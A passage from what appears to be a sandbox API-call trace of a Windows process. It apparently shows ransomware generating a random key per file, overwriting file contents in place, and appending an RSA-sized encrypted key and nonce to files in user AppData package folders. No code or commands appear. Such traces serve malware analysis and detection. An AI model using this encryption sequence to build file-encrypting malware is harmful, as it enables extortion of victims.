lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.181] WriteFile (in: hFile=0xc90, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.181] CloseHandle (hObject=0xc90) returned 1 [0158.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0158.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0158.185] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.185] ReadFile (in: hFile=0xc90, lpBuffer=0x2ec9048, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.186] SetFilePointer (in: hFile=0xc90, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.186] WriteFile (in: hFile=0xc90, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.187] SetFilePointer (in: hFile=0xc90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.187] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.187] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.187] WriteFile (in: hFile=0xc90, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.188] WriteFile (in: hFile=0xc90, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.188] CloseHandle (hObject=0xc90) returned 1 [0158.189] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0158.189] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.189] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.190] ReadFile (in: hFile=0xc90, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.195] SetFilePointer (in: hFile=0xc90, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.195] WriteFile (in: hFile=0xc90, lpBuffer=0x2ecb050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.195] SetFilePointer (in: hFile=0xc90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.196] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.196] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.196] WriteFile (in: hFile=0xc90, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.196] WriteFile (in: hFile=0xc90, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.196] CloseHandle (hObject=0xc90) returned 1 [0158.198] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.198] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0158.198] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.BioEnrollment_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.198] ReadFile (in: hFile=0xc90, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.198] SetFilePointer (in: hFile=0xc90, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.198] WriteFile (in: hFile=0xc90, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.199] SetFilePointer (in: hFile=0xc90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.199] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.199] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.199] WriteFile (in: hFile=0xc90, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.200] WriteFile (in: hFile=0xc90, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.200] CloseHandle (hObject=0xc90) returned 1 [0158.210] WriteFile (in: hFile=0xc9c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.211] CloseHandle (hObject=0xc9c) returned 1 [0158.211] WriteFile (in: hFile=0xc9c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.212] CloseHandle (hObject=0xc9c) returned 1 [0158.213] WriteFile (in: hFile=0xc9c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.214] CloseHandle (hObject=0xc9c) returned 1 [0158.214] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0158.214] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0158.214] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\CallsBackgroundTaskLog.last.etl", dwFileAttributes=0x80) returned 1 [0158.216] ReadFile (in: hFile=0xca4, lpBuffer=0x304b078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x304b078*, lpNumberOfBytesRead=0x2e1f9bc*=0x1000, lpOverlapped=0x0) returned 1 [0158.224] SetFilePointer (in: hFile=0xca4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.224] WriteFile (in: hFile=0xca4, lpBuffer=0x3046050*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3046050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1000, lpOverlapped=0x0) returned 1 [0158.225] SetFilePointer (in: hFile=0xca4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1000 [0158.225] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.225] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.225] WriteFile (in: hFile=0xca4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.226] WriteFile (in: hFile=0xca4, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.226] CloseHandle (hObject=0xca4) returned 1 [0158.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0158.228] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0158.228] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\LocalCache\\CallsBackgroundTaskLog.etl", dwFileAttributes=0x80) returned 1 [0158.229] ReadFile (in: hFile=0xca4, lpBuffer=0x304a070, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x304a070*, lpNumberOfBytesRead=0x2e1f9bc*=0x1000, lpOverlapped=0x0) returned 1 [0158.242] SetFilePointer (in: hFile=0xca4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.242] WriteFile (in: hFile=0xca4, lpBuffer=0x304b078*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x304b078*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1000, lpOverlapped=0x0) returned 1 [0158.242] SetFilePointer (in: hFile=0xca4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1000 [0158.243] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.243] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.243] WriteFile (in: hFile=0xca4, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.243] WriteFile (in: hFile=0xca4, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.243] CloseHandle (hObject=0xca4) returned 1 [0158.245] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0158.245] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0158.245] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.246] ReadFile (in: hFile=0xcb0, lpBuffer=0x5c34b8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.246] SetFilePointer (in: hFile=0xcb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.246] WriteFile (in: hFile=0xcb0, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.246] SetFilePointer (in: hFile=0xcb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.246] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.246] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.246] WriteFile (in: hFile=0xcb0, lpBuffer=0x5c4530*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4530*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.247] WriteFile (in: hFile=0xcb0, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.248] CloseHandle (hObject=0xcb0) returned 1 [0158.251] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0158.251] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0158.251] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0158.252] ReadFile (in: hFile=0xcb0, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.259] SetFilePointer (in: hFile=0xcb0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.259] WriteFile (in: hFile=0xcb0, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.259] SetFilePointer (in: hFile=0xcb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.259] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.259] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.259] WriteFile (in: hFile=0xcb0, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.260] WriteFile (in: hFile=0xcb0, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.260] CloseHandle (hObject=0xcb0) returned 1 [0158.262] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5298 | out: pbBuffer=0x5c5298) returned 1 [0158.262] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0158.262] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0158.262] ReadFile (in: hFile=0xcb0, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.269] SetFilePointer (in: hFile=0xcb0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.269] WriteFile (in: hFile=0xcb0, lpBuffer=0x2ec7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec7040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0158.269] SetFilePointer (in: hFile=0xcb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0158.269] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.269] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5298*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.270] WriteFile (in: hFile=0xcb0, lpBuffer=0x5c5298*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5298*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.270] WriteFile (in: hFile=0xcb0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.270] CloseHandle (hObject=0xcb0) returned 1 [0158.271] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0158.272] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0158.272] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.CommsPhone_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0158.272] ReadFile (in: hFile=0xcb0, lpBuffer=0x5c3428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.272] SetFilePointer (in: hFile=0xcb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.272] WriteFile (in: hFile=0xcb0, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.272] SetFilePointer (in: hFile=0xcb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.272] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.272] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.273] WriteFile (in: hFile=0xcb0, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0158.273] WriteFile (in: hFile=0xcb0, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0158.274] CloseHandle (hObject=0xcb0) returned 1 [0158.276] WriteFile (in: hFile=0xcbc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.277] CloseHandle (hObject=0xcbc) returned 1 [0158.277] WriteFile (in: hFile=0xcbc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.278] CloseHandle (hObject=0xcbc) returned 1 [0158.278] WriteFile (in: hFile=0xcbc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0158.279] CloseHandle (hObject=0xcbc) returned 1 [0158.279] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0158.279] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0158.280] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ConnectivityStore_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0158.280] ReadFile (in: hFile=0xcd0, lpBuffer=0x5c33d8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.280] SetFilePointer (in: hFile=0xcd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.280] WriteFile (in: hFile=0xcd0, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0158.281] SetFilePointer (in: hFile=0xcd0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0158.281] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0158.281] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4530*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0158.281] WriteFile (in: hFile=0xcd0, lpBuffer=0x5c4530*, 